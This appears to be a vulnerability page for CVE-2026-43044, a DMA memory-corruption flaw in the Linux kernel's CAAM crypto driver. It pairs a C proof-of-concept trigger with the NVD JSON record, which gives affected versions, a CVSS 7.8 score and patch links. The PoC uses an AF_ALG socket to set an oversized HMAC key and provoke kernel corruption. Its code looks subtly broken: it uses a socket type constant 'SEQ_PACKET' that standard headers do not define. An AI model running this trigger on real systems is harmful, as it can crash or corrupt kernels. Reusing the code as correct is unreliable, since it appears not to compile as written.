CVE-2026-43044

/* * PoC for CVE-2026-43044: DMA Corruption on long HMAC keys in Linux CAAM driver. * This code attempts to trigger the vulnerability by sending a long HMAC key * to a crypto interface using the CAAM driver. * Note: This requires a system with the CAAM driver enabled and active. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define KEY_SIZE 128 // Larger than block size (e.g., 64 for SHA256) to trigger the bug int main() { int tfm_fd, sock_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "hmac(sha256)" // Target algorithm handled by CAAM }; // 1. Create socket tfm_fd = socket(AF_ALG, SEQ_PACKET, 0); if (tfm_fd < 0) { perror("socket"); return 1; } // 2. Bind to the algorithm (CAAM driver handles this if available) if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfm_fd); return 1; } // 3. Set the long key (Trigger the vulnerable path) char key[KEY_SIZE]; memset(key, 'A', sizeof(key)); if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setsockopt"); close(tfm_fd); return 1; } // 4. Send data to compute HMAC sock_fd = accept(tfm_fd, NULL, 0); if (sock_fd < 0) { perror("accept"); close(tfm_fd); return 1; } char msg[] = "Test Message"; if (send(sock_fd, msg, sizeof(msg), 0) < 0) { perror("send"); } printf("PoC executed. If kernel crashes or behaves unexpectedly, vulnerability is triggered."); close(sock_fd); close(tfm_fd); return 0; }

{"cve": {"id": "CVE-2026-43044", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:50.703", "lastModified": "2026-05-08T18:58:08.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: caam - fix DMA corruption on long hmac keys\n\nWhen a key longer than block size is supplied, it is copied and then\nhashed into the real key. The memory allocated for the copy needs to\nbe rounded to DMA cache alignment, as otherwise the hashed key may\ncorrupt neighbouring memory.\n\nThe rounding was performed, but never actually used for the allocation.\nFix this by replacing kmemdup with kmalloc for a larger buffer,\nfollowed by memcpy."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.6.134", "matchCriteriaId": "E87FA488-9C69-4C4C-9BBB-60BC7AC3E49C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5ddfdcbe10dc5f97afc4e46ca22be2be717e8caf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/68feed135a0c7243a9275ae7e6a18260f755f52b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a7ecf06d3ee06e9b3322e1e7b003ea5c6f6e135a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c0c133e0225d87aad326bb90bbce9bdd6fde3cbb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f2af8be110bde26b3e3354efdfdda97f426306a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}